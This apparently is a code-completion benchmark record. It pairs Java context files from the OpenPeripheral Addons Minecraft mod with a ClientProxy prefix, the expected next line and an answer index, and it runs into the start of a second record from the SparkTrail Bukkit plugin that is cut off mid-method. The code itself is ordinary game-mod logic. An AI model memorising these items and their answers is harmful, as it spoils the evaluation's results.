{\n\t\t\tupdateTerminalDrawables(evt);\n\t\t}\n\n\t\t@SubscribeEvent\n\t\tpublic void onTerminalData(TerminalEvent.PublicDrawableData evt) {\n\t\t\tupdateTerminalDrawables(evt);\n\t\t}\n\n\t\tprivate void updateTerminalDrawables(TerminalEvent.DrawableData evt) {\n\t\t\tfinal SurfaceClient surface = getOrCreateSurface(evt);\n\t\t\tsurface.drawablesContainer.interpretCommandList(evt.commands);\n\t\t}\n\n\t\t@SubscribeEvent\n\t\tpublic void onTerminalClear(TerminalEvent.PrivateClear evt) {\n\t\t\tclearTerminal(evt);\n\t\t}\n\n\t\t@SubscribeEvent\n\t\tpublic void onTerminalClear(TerminalEvent.PublicClear evt) {\n\t\t\tclearTerminal(evt);\n\t\t}\n\n\t\tprivate void clearTerminal(TerminalEvent.Clear evt) {\n\t\t\tfinal SurfaceType surfaceType = evt.getSurfaceType();\n\t\t\tsurfaces.remove(evt.terminalId, surfaceType);\n\t\t}\n\n\t\t@SubscribeEvent\n\t\tpublic void onBackgroundChange(GlassesChangeBackgroundEvent evt) {\n\t\t\tGuiScreen gui = FMLClientHandler.instance().getClient().currentScreen;\n\n\t\t\tif (gui instanceof GuiCapture) {\n\t\t\t\tfinal GuiCapture capture = (GuiCapture)gui;\n\t\t\t\tlong guid = capture.getGuid();\n\t\t\t\tif (guid == evt.guid) capture.setBackground(evt.backgroundColor);\n\t\t\t}\n\t\t}\n\n\t\t@SubscribeEvent\n\t\tpublic void onKeyRepeatSet(GlassesSetKeyRepeatEvent evt) {\n\t\t\tGuiScreen gui = FMLClientHandler.instance().getClient().currentScreen;\n\n\t\t\tif (gui instanceof GuiCapture) {\n\t\t\t\tfinal GuiCapture capture = (GuiCapture)gui;\n\t\t\t\tlong guid = capture.getGuid();\n\t\t\t\tif (guid == evt.guid) capture.setKeyRepeat(evt.repeat);\n\t\t\t}\n\t\t}\n\n\t\t@SubscribeEvent\n\t\tpublic void onDragParamsSet(GlassesSetDragParamsEvent evt) {\n\t\t\tGuiScreen gui = FMLClientHandler.instance().getClient().currentScreen;\n\n\t\t\tif (gui instanceof GuiCapture) {\n\t\t\t\tfinal GuiCapture capture = (GuiCapture)gui;\n\t\t\t\tlong guid = capture.getGuid();\n\t\t\t\tif (guid == evt.guid) capture.setDragParameters(evt.threshold, evt.period);\n\t\t\t}\n\t\t}\n\n\t\t@SubscribeEvent\n\t\tpublic void onGuiVisibilitySet(GlassesSetGuiVisibilityEvent evt) {\n\t\t\tGuiScreen gui = FMLClientHandler.instance().getClient().currentScreen;\n\n\t\t\tif (gui instanceof GuiCapture) {\n\t\t\t\tfinal GuiCapture capture = (GuiCapture)gui;\n\t\t\t\tlong guid = capture.getGuid();\n\t\t\t\tif (guid == evt.guid) capture.updateGuiElementsState(evt.visibility);\n\t\t\t}\n\t\t}\n\n\t\t@SubscribeEvent\n\t\tpublic void onCaptureForce(GlassesStopCaptureEvent evt) {\n\t\t\tGuiScreen gui = FMLClientHandler.instance().getClient().currentScreen;\n\n\t\t\tif (gui instanceof GuiCapture) {\n\t\t\t\tlong guid = ((GuiCapture)gui).getGuid();\n\t\t\t\tif (guid == evt.guid) FMLCommonHandler.instance().showGuiScreen(null);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic Object createForgeBusListener() {\n\t\treturn new ForgeBusListener();\n\t}\n\n\tpublic class FmlBusListener {\n\n\t\t@SubscribeEvent\n\t\tpublic void onDisconnect(ClientDisconnectionFromServerEvent evt) {\n\t\t\tsurfaces.clear();\n\t\t}\n\n\t\t@SubscribeEvent\n\t\tpublic void onClientTick(ClientTickEvent evt) {\n\t\t\tif (evt.phase == Phase.END) {\n\t\t\t\tfinal EntityPlayer player = Minecraft.getMinecraft().thePlayer;\n\t\t\t\tterminalGuid = player != null? TerminalIdAccess.instance.getIdFrom(player) : Optional.<Long> absent();\n\t\t\t}\n\t\t}\n\n\t}\n\n\tpublic Object createFmlBusListener() {\n\t\treturn new FmlBusListener();\n\t}\n\n\tpublic DrawableHitInfo findDrawableHit(long guid, ScaledResolution resolution, float x, float y) {\n\t\tDrawableHitInfo result = findDrawableHit(guid, resolution, x, y, SurfaceType.PRIVATE);\n\t\tif (result != null) return result;\n\n\t\treturn findDrawableHit(guid, resolution, x, y, SurfaceType.GLOBAL);\n\t}\n\n\tprivate DrawableHitInfo findDrawableHit(long guid, ScaledResolution resolution, float clickX, float clickY, SurfaceType surfaceType) {\n\t\tSurfaceClient surface = surfaces.get(guid, surfaceType);\n\n\t\tif (surface == null) return null;\n\n\t\tfinal int screenWidth = resolution.getScaledWidth();\n\t\tfinal int screenHeight = resolution.getScaledHeight();\n\n\t\tfor (Drawable d : Lists.reverse(surface.getSortedDrawables())) {\n\t\t\tif (!d.isClickable()) continue;\n\n\t\t\tfinal Box2d bb = d.getBoundingBox();\n\t\t\tfinal Point2d localClick = d.transformToLocal(clickX, clickY, screenWidth, screenHeight);\n\n\t\t\tfinal float localX = localClick.x;\n\t\t\tfinal float localY = localClick.y;\n\n\t\t\tif (0 <= localX && 0 <= localY &&\n\t\t\t\t\tlocalX < bb.width && localY < bb.height) { return new DrawableHitInfo(d.getId(), surfaceType, localX, localY, d.z); }\n\t\t}\n\n\t\treturn null;\n\t}\n}", "public class BlockPIMRenderer implements IBlockRenderer<BlockPIM> {\n\n\tprivate static boolean hasPlayer(IBlockAccess world, int x, int y, int z) {\n\t\tTileEntity pim = world.getTileEntity(x, y, z);\n\t\treturn (pim instanceof TileEntityPIM) && ((TileEntityPIM)pim).hasPlayer();\n\t}\n\n\tprivate static void setTopPartBounds(RenderBlocks renderer, final boolean hasPlayer) {\n\t\trenderer.setRenderBounds(1.0 / 16.0, 0.3, 1.0 / 16.0, 15.0 / 16.0, hasPlayer? (0.4 - 0.08) : 0.4, 15.0 / 16.0);\n\t}\n\n\t@Override\n\tpublic void renderInventoryBlock(BlockPIM block, int metadata, int modelID, RenderBlocks renderer) {\n\t\tRenderUtils.renderInventoryBlock(renderer, block, 0);\n\n\t\trenderer.setOverrideBlockTexture(BlockPIM.Icons.black);\n\t\tsetTopPartBounds(renderer, false);\n\t\tRenderUtils.renderInventoryBlockNoBounds(renderer, block, 0);\n\t\trenderer.clearOverrideBlockTexture();\n\t}\n\n\t@Override\n\tpublic boolean renderWorldBlock(IBlockAccess world, int x, int y, int z, BlockPIM block, int modelId, RenderBlocks renderer) {\n\t\trenderer.setRenderBoundsFromBlock(block);\n\t\trenderer.renderStandardBlock(block, x, y, z);\n\n\t\tfinal boolean isBreaking = renderer.hasOverrideBlockTexture();\n\t\tif (!isBreaking) renderer.setOverrideBlockTexture(BlockPIM.Icons.black);\n\n\t\tfinal boolean hasPlayer = hasPlayer(world, x, y, z);\n\t\tsetTopPartBounds(renderer, hasPlayer);\n\t\trenderer.renderStandardBlock(block, x, y, z);\n\n\t\tif (!isBreaking) renderer.clearOverrideBlockTexture();\n\t\treturn true;\n\t}\n}", "@PeripheralTypeId(\"openperipheral_selector\")\n@FeatureGroup(\"openperipheral-selector\")\npublic class TileEntitySelector extends SyncedTileEntity implements IActivateAwareTile, IAttachable, IHasGui {\n\n\tpublic static class ItemSlot {\n\t\tpublic final int slot;\n\t\tpublic final double x;\n\t\tpublic final double y;\n\t\tpublic final AxisAlignedBB box;\n\t\tpublic final double size;\n\n\t\tpublic ItemSlot(int absSlot, double size, double x, double y) {\n\t\t\tthis.slot = absSlot;\n\t\t\tthis.size = size;\n\t\t\tthis.x = x;\n\t\t\tthis.y = y;\n\t\t\tthis.box = AxisAlignedBB.getBoundingBox(x - size, 1 - size, y - size, x + size, 1 + size, y + size);\n\t\t}\n\t}\n\n\tprivate static final List<ItemSlot> BOXES_0 = ImmutableList.of();\n\n\tprivate static final List<ItemSlot> BOXES_1 = ImmutableList.of(new ItemSlot(0, 0.2, 0.5, 0.5));\n\n\tprivate static final double PADDING_2 = 0.05;\n\n\tprivate static final double SIZE_2 = 0.12;\n\n\tprivate static final double DELTA_2 = SIZE_2 + PADDING_2;\n\n\tprivate static final ImmutableList<ItemSlot> BOXES_2 = ImmutableList.of(\n\t\t\tnew ItemSlot(3, SIZE_2, 0.5 - DELTA_2, 0.5 + DELTA_2),\n\t\t\tnew ItemSlot(4, SIZE_2, 0.5 + DELTA_2, 0.5 + DELTA_2),\n\t\t\tnew ItemSlot(0, SIZE_2, 0.5 - DELTA_2, 0.5 - DELTA_2),\n\t\t\tnew ItemSlot(1, SIZE_2, 0.5 + DELTA_2, 0.5 - DELTA_2));\n\n\tprivate static final double SIZE_3 = 0.085;\n\n\tprivate static final double PADDING_3 = 0.08;\n\n\tprivate static final double DELTA_3 = SIZE_3 + PADDING_3 + SIZE_3;\n\n\tprivate static final List<ItemSlot> BOXES_3 = ImmutableList.of(\n\t\t\tnew ItemSlot(6, SIZE_3, 0.5 - DELTA_3, 0.5 + DELTA_3),\n\t\t\tnew ItemSlot(7, SIZE_3, 0.5, 0.5 + DELTA_3),\n\t\t\tnew ItemSlot(8, SIZE_3, 0.5 + DELTA_3, 0.5 + DELTA_3),\n\t\t\tnew ItemSlot(3, SIZE_3, 0.5 - DELTA_3, 0.5),\n\t\t\tnew ItemSlot(4, SIZE_3, 0.5, 0.5),\n\t\t\tnew ItemSlot(5, SIZE_3, 0.5 + DELTA_3, 0.5),\n\t\t\tnew ItemSlot(0, SIZE_3, 0.5 - DELTA_3, 0.5 - DELTA_3),\n\t\t\tnew ItemSlot(1, SIZE_3, 0.5, 0.5 - DELTA_3),\n\t\t\tnew ItemSlot(2, SIZE_3, 0.5 + DELTA_3, 0.5 - DELTA_3));\n\n\tprivate Set<IArchitectureAccess> computers = Sets.newIdentityHashSet();\n\n\tprivate final SyncableItemStack[] slots = new SyncableItemStack[9];\n\n\tprivate SoftReference<EntityItem> displayEntity = new SoftReference<EntityItem>(null);\n\n\tprivate int gridSize;\n\n\tpublic TileEntitySelector() {\n\t\tfor (int i = 0; i < 9; i++) {\n\t\t\tSyncableItemStack item = new SyncableItemStack();\n\t\t\tsyncMap.put(\"Stack\" + i, item);\n\t\t\tslots[i] = item;\n\t\t}\n\n\t\tfinal ISyncListener listener = new ISyncListener() {\n\t\t\t@Override\n\t\t\tpublic void onSync(Set<ISyncableObject> changes) {\n\t\t\t\tgridSize = calculateGridSize();\n\t\t\t}\n\t\t};\n\t\tsyncMap.addUpdateListener(listener);\n\t\tsyncMap.addSyncListener(listener);\n\t}\n\n\t@Override\n\tprotected void createSyncedFields() {}\n\n\tprivate boolean hasStack(int slot) {\n\t\treturn slots[slot].get() != null;\n\t}\n\n\t// We're having a dynamic display size, i.e. if there's only an item in the\n\t// first slot, only the single item will be shown - slightly enlarged. If\n\t// there are items one slot further out, we're showing a 2x2 grid and so on.\n\t// There's probably a mathematical way to do this more efficiently, but meh.\n\tpublic int calculateGridSize() {\n\t\tif (hasStack(2) || hasStack(5) || hasStack(6) || hasStack(7) || hasStack(8)) return 3;\n\t\tif (hasStack(1) || hasStack(3) || hasStack(4)) return 2;\n\t\tif (hasStack(0)) return 1;\n\n\t\treturn 0;\n\t}\n\n\tpublic int getGridSize() {\n\t\treturn gridSize;\n\t}\n\n\t@Override\n\tpublic boolean onBlockActivated(EntityPlayer player, int side, float hitX, float hitY, float hitZ) {\n\t\tif (worldObj.isRemote) return true;\n\t\tif (player.isSneaking()) return true;\n\n\t\tVec3 vec = Vec3.createVectorHelper(xCoord + hitX, yCoord + hitY, zCoord + hitZ);\n\t\tItemSlot slot = getClickedSlot(vec, side);\n\n\t\tif (slot == null) {\n\t\t\topenGui(OpenPeripheralAddons.instance, player);\n\t\t} else {\n\t\t\tif (hasStack(slot.slot)) signalSlotClick(slot.slot);\n\t\t}\n\n\t\treturn true;\n\t}\n\n\tpublic ItemStack getSlot(int slot) {\n\t\treturn slots[slot].get();\n\t}\n\n\t@Asynchronous\n\t@ScriptCallable(description = \"Get the item currently being displayed in a specific slot\", returnTypes = ReturnType.TABLE, name = \"getSlot\")\n\tpublic ItemStack getSlotOneBased(@Arg(name = \"slot\", description = \"The slot you want to get details about\") Index slot) {\n\n\t\tslot.checkElementIndex(\"slot id\", 10);\n\t\treturn slots[slot.value].get();\n\t}\n\n\t@Asynchronous\n\t@ScriptCallable(description = \"Gets all slots\", returnTypes = ReturnType.TABLE)\n\tpublic List<ItemStack> getSlots() {\n\t\tList<ItemStack> result = Lists.newArrayList();\n\n\t\tfor (SyncableItemStack slot : slots)\n\t\t\tresult.add(slot.get());\n\n\t\treturn result;\n\t}\n\n\t@ScriptCallable(description = \"Set the items being displayed in all slots\")\n\tpublic void setSlots(\n\t\t\t@Env(Constants.ARG_ARCHITECTURE) IArchitecture access,\n\t\t\t@Arg(name = \"items\", description = \"A table containing itemstacks\") Map<Index, ItemStack> stacks) {\n\t\tfor (int slot = 0; slot < 9; slot++) {\n\t\t\tfinal ItemStack value = stacks.get(access.wrapObject(slot));\n\t\t\tif (value != null) value.stackSize = 1;\n\n\t\t\tthis.slots[slot].set(value);\n\t\t}\n\n\t\tsync();\n\t}\n\n\t@ScriptCallable(description = \"Set the item being displayed on a specific slot\")\n\tpublic void setSlot(\n\t\t\t@Arg(name = \"slot\", description = \"The slot you want to modify\") Index slot,\n\t\t\t@Optionals @Arg(name = \"item\", description = \"The item you want to display. nil to set empty\") ItemStack stack) {\n\n\t\tslot.checkElementIndex(\"slot id\", 10);\n\n\t\tif (stack != null) stack.stackSize = 1;\n\n\t\tthis.slots[slot.value].set(stack);\n\t\tsync();\n\t}\n\n\tprivate void signalSlotClick(int slot) {\n\t\tfor (IArchitectureAccess computer : computers) {\n\t\t\tfinal Object[] args = new Object[] { computer.createIndex(slot), computer.peripheralName() };\n\t\t\tcomputer.signal(\"slot_click\", args);\n\t\t}\n\t}\n\n\t@Override\n\tpublic void addComputer(IArchitectureAccess computer) {\n\t\tcomputers.add(computer);\n\t}\n\n\t@Override\n\tpublic void removeComputer(IArchitectureAccess computer) {\n\t\tcomputers.remove(computer);\n\t}\n\n\t@Override\n\tpublic boolean canOpenGui(EntityPlayer player) {\n\t\t// Don't use default GUI mechanism, since this block has special rules\n\t\treturn false;\n\t}\n\n\t@Override\n\tpublic Object getClientGui(EntityPlayer player) {\n\t\treturn new GuiSelector(new ContainerSelector(player.inventory, this));\n\t}\n\n\t@Override\n\tpublic Object getServerGui(EntityPlayer player) {\n\t\treturn new ContainerSelector(player.inventory, this);\n\t}\n\n\tpublic IInventory createInventoryWrapper() {\n\t\treturn new IInventory() {\n\n\t\t\t@Override\n\t\t\tpublic void setInventorySlotContents(int slot, ItemStack stack) {\n\t\t\t\tslots[slot].set(stack);\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void openInventory() {}\n\n\t\t\t@Override\n\t\t\tpublic void markDirty() {\n\t\t\t\tif (!worldObj.isRemote) sync();\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic boolean isUseableByPlayer(EntityPlayer player) {\n\t\t\t\treturn (getWorldObj().getTileEntity(xCoord, yCoord, zCoord) == TileEntitySelector.this)\n\t\t\t\t\t\t&& (player.getDistanceSq(xCoord + 0.5, yCoord + 0.5, zCoord + 0.5) <= 64.0D);\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic boolean isItemValidForSlot(int slot, ItemStack stack) {\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic boolean hasCustomInventoryName() {\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic ItemStack getStackInSlotOnClosing(int slot) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic ItemStack getStackInSlot(int slot) {\n\t\t\t\treturn slots[slot].get();\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic int getSizeInventory() {\n\t\t\t\treturn 9;\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic int getInventoryStackLimit() {\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic String getInventoryName() {\n\t\t\t\treturn \"selector\";\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic ItemStack decrStackSize(int p_70298_1_, int p_70298_2_) {\n\t\t\t\tthrow new UnsupportedOperationException();\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void closeInventory() {}\n\t\t};\n\t}\n\n\tpublic AxisAlignedBB getSelection(Vec3 hitVec, int side) {\n\t\tfinal Orientation orientation = getOrientation();\n\t\tfinal Vec3 mappedVec = BlockSpaceTransform.instance.mapWorldToBlock(orientation, hitVec.xCoord - xCoord, hitVec.yCoord - yCoord, hitVec.zCoord - zCoord);\n\n\t\tfinal int gridSize = getGridSize();\n\n\t\tfor (ItemSlot center : getSlots(gridSize)) {\n\t\t\tfinal AxisAlignedBB aabb = center.box;\n\t\t\tif (aabb.isVecInside(mappedVec)) return BlockSpaceTransform.instance.mapBlockToWorld(orientation, aabb).offset(xCoord, yCoord, zCoord);\n\t\t}\n\n\t\treturn null;\n\t}\n\n\tprivate ItemSlot getClickedSlot(Vec3 hitVec, int side) {\n\t\tfinal Orientation orientation = getOrientation();\n\t\tfinal Vec3 mappedVec = BlockSpaceTransform.instance.mapWorldToBlock(orientation, hitVec.xCoord - xCoord, hitVec.yCoord - yCoord, hitVec.zCoord - zCoord);\n\n\t\tint gridSize = getGridSize();\n\t\tfor (ItemSlot center : getSlots(gridSize)) {\n\t\t\tif (center.box.isVecInside(mappedVec)) return center;\n\t\t}\n\n\t\treturn null;\n\t}\n\n\tpublic List<ItemSlot> getSlots(int gridSize) {\n\t\tswitch (gridSize) {\n\t\t\tcase 1:\n\t\t\t\treturn BOXES_1;\n\t\t\tcase 2:\n\t\t\t\treturn BOXES_2;\n\t\t\tcase 3:\n\t\t\t\treturn BOXES_3;\n\t\t\tdefault:\n\t\t\t\treturn BOXES_0;\n\t\t}\n\t}\n\n\tpublic EntityItem getDisplayEntity() {\n\t\tEntityItem result = displayEntity.get();\n\t\tif (result == null) {\n\t\t\tresult = new EntityItem(getWorldObj(), 0, 0, 0);\n\t\t\tresult.hoverStart = 0.0F;\n\n\t\t\tdisplayEntity = new SoftReference<EntityItem>(result);\n\t\t}\n\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic void readFromNBT(NBTTagCompound tag) {\n\t\tsuper.readFromNBT(tag);\n\t\tgridSize = calculateGridSize();\n\t}\n\n}", "public class TileEntitySelectorRenderer extends TileEntitySpecialRenderer {\n\n\tprivate final RenderItem renderer = new RenderItem() {\n\t\t@Override\n\t\tpublic boolean shouldSpreadItems() {\n\t\t\treturn false;\n\t\t}\n\n\t\t@Override\n\t\tpublic boolean shouldBob() {\n\t\t\treturn false;\n\t\t}\n\n\t\t@Override\n\t\tpublic byte getMiniBlockCount(ItemStack stack, byte original) {\n\t\t\treturn 1;\n\t\t}\n\n\t\t@Override\n\t\tpublic byte getMiniItemCount(ItemStack stack, byte original) {\n\t\t\treturn 1;\n\t\t}\n\t};\n\n\t@Override\n\tpublic void renderTileEntityAt(TileEntity tileEntity, double x, double y, double z, float f) {\n\t\tfinal TileEntitySelector selector = (TileEntitySelector)tileEntity;\n\t\tfinal Orientation orientation = selector.getOrientation();\n\n\t\tGL11.glPushMatrix();\n\t\tGL11.glTranslated(x + 0.5, y + 0.5, z + 0.5);\n\t\tTransformProvider.instance.multMatrix(orientation);\n\t\tGL11.glTranslated(-0.5, 0.501, -0.5); // 0.001 offset for 2d items in fast mode\n\n\t\tfinal int gridSize = selector.getGridSize();\n\n\t\trenderer.setRenderManager(RenderManager.instance);\n\n\t\tfor (ItemSlot slot : selector.getSlots(gridSize)) {\n\t\t\tItemStack stack = selector.getSlot(slot.slot);\n\t\t\tif (stack != null) {\n\t\t\t\tEntityItem display = selector.getDisplayEntity();\n\n\t\t\t\tGL11.glPushMatrix();\n\t\t\t\tGL11.glTranslated(slot.x, 0, slot.y + 0.03); // 0.03, since items are rendered off-center\n\t\t\t\tGL11.glRotated(-90, 1, 0, 0);\n\t\t\t\tfinal double scale = slot.size * 5;\n\t\t\t\tGL11.glScaled(scale, scale, scale);\n\t\t\t\tdisplay.setEntityItemStack(stack);\n\t\t\t\tRenderItem.renderInFrame = true;\n\t\t\t\trenderer.doRender(display, 0.0D, 0.0D, 0.0D, 0.0F, 0.0F);\n\t\t\t\tGL11.glPopMatrix();\n\t\t\t}\n\t\t}\n\n\t\tRenderItem.renderInFrame = false;\n\n\t\tGL11.glPopMatrix();\n\t}\n\n}", "public class TileEntitySensor extends TileEntity implements ISensorEnvironment {\n\n\tprivate static final int ROTATION_SPEED = 3;\n\n\tprivate int rotation;\n\n\tpublic TileEntitySensor() {}\n\n\tpublic int getRotation() {\n\t\treturn rotation;\n\t}\n\n\t@Override\n\tpublic void updateEntity() {\n\t\trotation = (rotation + ROTATION_SPEED) % 360;\n\t}\n\n\t@Override\n\tpublic boolean isTurtle() {\n\t\treturn false;\n\t}\n\n\t@Override\n\tpublic Vec3 getLocation() {\n\t\treturn Vec3.createVectorHelper(xCoord, yCoord, zCoord);\n\t}\n\n\t@Override\n\tpublic World getWorld() {\n\t\treturn worldObj;\n\t}\n\n\t@Override\n\tpublic int getSensorRange() {\n\t\tfinal World world = getWorld();\n\t\treturn (world.isRaining() && world.isThundering())? Config.sensorRangeInStorm : Config.sensorRange;\n\t}\n\n\t@Override\n\tpublic boolean isValid() {\n\t\treturn WorldUtils.isTileEntityValid(this);\n\t}\n\n}", "public class TileEntitySensorRenderer extends TileEntitySpecialRenderer {\n\n\tprivate ModelSensor modelSensor = new ModelSensor();\n\tprivate static final ResourceLocation texture = new ResourceLocation(\"openperipheraladdons\", \"textures/models/sensor.png\");\n\n\t@Override\n\tpublic void renderTileEntityAt(TileEntity tileEntity, double x, double y, double z, float partialTick) {\n\t\tTileEntitySensor sensor = (TileEntitySensor)tileEntity;\n\t\tGL11.glPushMatrix();\n\t\tGL11.glTranslated(x + 0.5, y + 0.5, z + 0.5);\n\t\tfloat rotation = sensor.getRotation() - 1 + partialTick;\n\t\tbindTexture(texture);\n\t\tmodelSensor.renderSensor(rotation);\n\t\tGL11.glPopMatrix();\n\n\t}\n}" ]
import cpw.mods.fml.client.registry.ClientRegistry; import cpw.mods.fml.client.registry.RenderingRegistry; import cpw.mods.fml.common.FMLCommonHandler; import net.minecraftforge.common.MinecraftForge; import openmods.api.IProxy; import openmods.renderer.BlockRenderingHandler; import openperipheral.addons.OpenPeripheralAddons; import openperipheral.addons.OpenPeripheralAddons.Blocks; import openperipheral.addons.glasses.client.TerminalManagerClient; import openperipheral.addons.pim.BlockPIMRenderer; import openperipheral.addons.selector.TileEntitySelector; import openperipheral.addons.selector.TileEntitySelectorRenderer; import openperipheral.addons.sensors.TileEntitySensor; import openperipheral.addons.sensors.TileEntitySensorRenderer;
package openperipheral.addons.proxy; public class ClientProxy implements IProxy { @Override public void preInit() { MinecraftForge.EVENT_BUS.register(TerminalManagerClient.instance.createForgeBusListener()); FMLCommonHandler.instance().bus().register(TerminalManagerClient.instance.createFmlBusListener()); } @Override public void init() {} @Override public void postInit() {} @Override public void registerRenderInformation() {
OpenPeripheralAddons.renderId = RenderingRegistry.getNextAvailableRenderId();
0
DSH105/SparkTrail
src/main/java/com/dsh105/sparktrail/util/protocol/wrapper/WrapperPacketChat.java
[ "public class SparkTrailPlugin extends DSHPlugin {\n\n private YAMLConfig config;\n private YAMLConfig dataConfig;\n private YAMLConfig langConfig;\n public AutoSave AS;\n public SparkTrailAPI api;\n\n public EffectManager EH;\n public SQLEffectManager SQLH;\n\n // Update data\n public boolean update = false;\n public String name = \"\";\n public long size = 0;\n public boolean updateCheck = false;\n\n public static boolean isUsingNetty;\n\n public BoneCP dbPool;\n public CommandMap CM;\n\n public ChatColor primaryColour = ChatColor.GREEN;\n public ChatColor secondaryColour = ChatColor.YELLOW;\n public String prefix = \"\" + ChatColor.DARK_GREEN + \"ST\" + ChatColor.GREEN + \" » \" + ChatColor.RESET;\n public String cmdString = \"trail\";\n\n public void onEnable() {\n super.onEnable();\n\n // meh\n if (Bukkit.getVersion().contains(\"1.7\")) {\n isUsingNetty = true;\n } else if (Bukkit.getVersion().contains(\"1.6\")) {\n isUsingNetty = false;\n }\n\n PluginManager manager = getServer().getPluginManager();\n Logger.initiate(this, \"SparkTrail\", \"[SparkTrail]\");\n\n /*if (!VersionUtil.compareVersions()) {\n ConsoleLogger.log(Logger.LogLevel.NORMAL, ChatColor.GREEN + \"SparkTrail \" + ChatColor.YELLOW\n + this.getDescription().getVersion() + ChatColor.GREEN\n + \" is only compatible with:\");\n ConsoleLogger.log(Logger.LogLevel.NORMAL, ChatColor.YELLOW + \" \" + VersionUtil.getMinecraftVersion() + \"-\" + VersionUtil.getCraftBukkitVersion() + \".\");\n ConsoleLogger.log(Logger.LogLevel.NORMAL, ChatColor.GREEN + \"Initialisation failed. Please update the plugin.\");\n\n manager.disablePlugin(this);\n return;\n }*/\n\n this.api = new SparkTrailAPI();\n\n String[] header = {\"SparkTrail By DSH105\", \"---------------------\",\n \"Configuration for SparkTrail 3\",\n \"See the SparkTrail Wiki before editing this file\"};\n try {\n config = this.getConfigManager().getNewConfig(\"config.yml\", header);\n new ConfigOptions(config);\n } catch (Exception e) {\n Logger.log(Logger.LogLevel.SEVERE, \"Failed to generate Configuration File (config.yml).\", e, true);\n }\n\n config.reloadConfig();\n\n ChatColor colour1 = ChatColor.getByChar(this.getConfig(ConfigType.MAIN).getString(\"primaryChatColour\", \"a\"));\n if (colour1 != null) {\n this.primaryColour = colour1;\n }\n ChatColor colour2 = ChatColor.getByChar(this.getConfig(ConfigType.MAIN).getString(\"secondaryChatColour\", \"e\"));\n if (colour2 != null) {\n this.secondaryColour = colour2;\n }\n\n try {\n dataConfig = this.getConfigManager().getNewConfig(\"data.yml\");\n } catch (Exception e) {\n Logger.log(Logger.LogLevel.SEVERE, \"Failed to generate Configuration File (data.yml).\", e, true);\n }\n dataConfig.reloadConfig();\n\n String[] langHeader = {\"SparkTrail By DSH105\", \"---------------------\",\n \"Language Configuration File\"};\n try {\n langConfig = this.getConfigManager().getNewConfig(\"language.yml\", langHeader);\n try {\n for (Lang l : Lang.values()) {\n String[] desc = l.getDescription();\n langConfig.set(l.getPath(), langConfig.getString(l.getPath(), l.getRaw()\n .replace(\"&a\", \"&\" + this.primaryColour.getChar())\n .replace(\"&e\", \"&\" + this.secondaryColour.getChar())),\n desc);\n }\n langConfig.saveConfig();\n } catch (Exception e) {\n Logger.log(Logger.LogLevel.SEVERE, \"Failed to generate Configuration File (language.yml).\", e, true);\n }\n\n } catch (Exception e) {\n }\n langConfig.reloadConfig();\n\n this.prefix = Lang.PREFIX.toString();\n\n this.EH = new EffectManager();\n this.SQLH = new SQLEffectManager();\n\n if (this.config.getBoolean(\"useSql\", false)) {\n String host = config.getString(\"sql.host\", \"localhost\");\n int port = config.getInt(\"sql.port\", 3306);\n String db = config.getString(\"sql.database\", \"SparkTrail\");\n String user = config.getString(\"sql.username\", \"none\");\n String pass = config.getString(\"sql.password\", \"none\");\n BoneCPConfig bcc = new BoneCPConfig();\n bcc.setJdbcUrl(\"jdbc:mysql://\" + host + \":\" + port + \"/\" + db);\n bcc.setUsername(user);\n bcc.setPassword(pass);\n bcc.setPartitionCount(2);\n bcc.setMinConnectionsPerPartition(3);\n bcc.setMaxConnectionsPerPartition(7);\n bcc.setConnectionTestStatement(\"SELECT 1\");\n try {\n dbPool = new BoneCP(bcc);\n } catch (SQLException e) {\n Logger.log(Logger.LogLevel.SEVERE, \"Failed to connect to MySQL! [MySQL DataBase: \" + db + \"].\", e, true);\n }\n if (dbPool != null) {\n Connection connection = null;\n Statement statement = null;\n try {\n connection = dbPool.getConnection();\n statement = connection.createStatement();\n statement.executeUpdate(\"CREATE TABLE IF NOT EXISTS PlayerEffects (\" +\n \"PlayerName varchar(255),\" +\n \"Effects varchar(255),\" +\n \"PRIMARY KEY (PlayerName)\" +\n \");\");\n\n statement.executeUpdate(\"CREATE TABLE IF NOT EXISTS LocationEffects (\" +\n \"Location varchar(255),\" +\n \"Effects varchar(255),\" +\n \"PRIMARY KEY (Location)\" +\n \");\");\n\n statement.executeUpdate(\"CREATE TABLE IF NOT EXISTS MobEffects (\" +\n \"MobUUID varchar(255),\" +\n \"Effects varchar(255),\" +\n \"PRIMARY KEY (MobUUID)\" +\n \");\");\n } catch (SQLException e) {\n Logger.log(Logger.LogLevel.SEVERE, \"MySQL DataBase Table initiation has failed.\", e, true);\n }\n }\n }\n\n if (this.config.getBoolean(\"autosave\", true)) {\n this.AS = new AutoSave(this.config.getInt(\"autosaveTimer\", 180));\n }\n\n // Register custom commands\n // Command string based off the string defined in config.yml\n try {\n Class craftServer = Class.forName(\"org.bukkit.craftbukkit.\" + VersionUtil.getServerVersion() + \".CraftServer\");\n if (craftServer.isInstance(Bukkit.getServer())) {\n final Field f = craftServer.getDeclaredField(\"commandMap\");\n f.setAccessible(true);\n CM = (CommandMap) f.get(Bukkit.getServer());\n }\n } catch (Exception e) {\n Logger.log(Logger.LogLevel.WARNING, \"Registration of commands failed.\", e, true);\n }\n\n String cmdString = this.config.getString(\"command\", \"trail\");\n if (CM.getCommand(cmdString) != null) {\n Logger.log(Logger.LogLevel.WARNING, \"A command under the name \" + ChatColor.RED + \"/\" + cmdString + ChatColor.YELLOW + \" already exists. Trail Command temporarily registered under \" + ChatColor.RED + \"/st:\" + cmdString, true);\n }\n\n CustomCommand cmd = new CustomCommand(cmdString);\n CM.register(\"st\", cmd);\n cmd.setExecutor(new TrailCommand(cmdString));\n cmd.setTabCompleter(new CommandComplete());\n this.cmdString = cmdString;\n\n manager.registerEvents(new MenuListener(), this);\n manager.registerEvents(new 